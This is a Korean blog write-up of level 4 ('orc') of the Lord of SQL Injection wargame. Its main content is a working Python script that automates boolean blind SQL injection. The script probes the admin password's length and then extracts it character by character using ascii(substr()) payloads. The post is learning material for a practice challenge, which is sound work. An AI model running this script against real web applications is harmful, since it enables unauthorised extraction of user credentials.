Today I Learned …

[Lord of SQL Injection] 4번 orc 풀이 + Blind SQLi 자동화 Python 코드 본문

Wargame/Lord of SQL Injection

[Lord of SQL Injection] 4번 orc 풀이 + Blind SQLi 자동화 Python 코드

염베리 2021. 12. 5. 05:54

* 개인적인 공부 내용을 기록한 글입니다.


설명

음... 갑자기 꽂혀서 처음으로 Blind SQLi 코드를 짜봤다...

아직 2진탐색을 적용하지 않아 속도가 느리다.

벌써 동트기 직전이라 오늘은 여기까지만ㅠ

LoS용으로 만들어서 종종 써먹을 일이 있을 것 같다.

문제 분석과 상세 풀이는 내일 마저...

 

설명

url, cookie, 파라미터 이름을 입력받고 (나름의... 확장성 부여)

Hello admin이 응답 텍스트에 포함되어있는가를 기준으로 맞는 문자를 찾는다.


Blind SQLi 자동화 Python 코드

* 목표 : admin 계정의 pw를 알아낸다.

import requests

# 길이 확인
def check_length(url, cookie, param_name):
    head = {"PHPSESSID":f"{cookie}"}
    print("대상 문자열의 길이를 확인중입니다..")
    for num in range(0,30):
        param=f"?{param_name}=' or id=\"admin\" and length({param_name})={num} %23"
        my_url=url+param
        res=requests.get(my_url, cookies=head)
        if("Hello admin" in res.text):
            return num

# 문자열 찾기
def blind_sqli(url, cookie, param_name, length):
    head = {"PHPSESSID":f"{cookie}"}
    ans=""
    for len in range(1, length+1):
        print(f"{len}번째 문자에 대해 검색중입니다..")
        for ran in range(32,127):
            param=f"?{param_name}=' or id=\"admin\" and ascii(substr({param_name},{len},1))={ran} %23"
            my_url=url+param
            res=requests.get(my_url, cookies=head)
            if("Hello admin" in res.text):
                # print(f"{len}번째 문자:{chr(ran)}")
                ans+=chr(ran)
                break
    return ans

# 실행 순서
if __name__ == "__main__":
    print("💘 Blind 공격을 시작합니다")
    
    url=input("URL을 입력하세요:")
    cookie=input("cookie를 알려주세요:")
    param_name=input("파라미터의 이름을 알려주세요:")
    
    length=check_length(url, cookie, param_name)
    print(f"👏 {param_name}의 길이는 {length}입니다.")
    
    ans=blind_sqli(url, cookie, param_name, length)
    print(f"👏 {param_name}의 정체는 {ans}입니다!")
    
    exit

 

결과

 

4번 orc 답

프로필사진
berry
FE Developer, loves React & better DX
Comments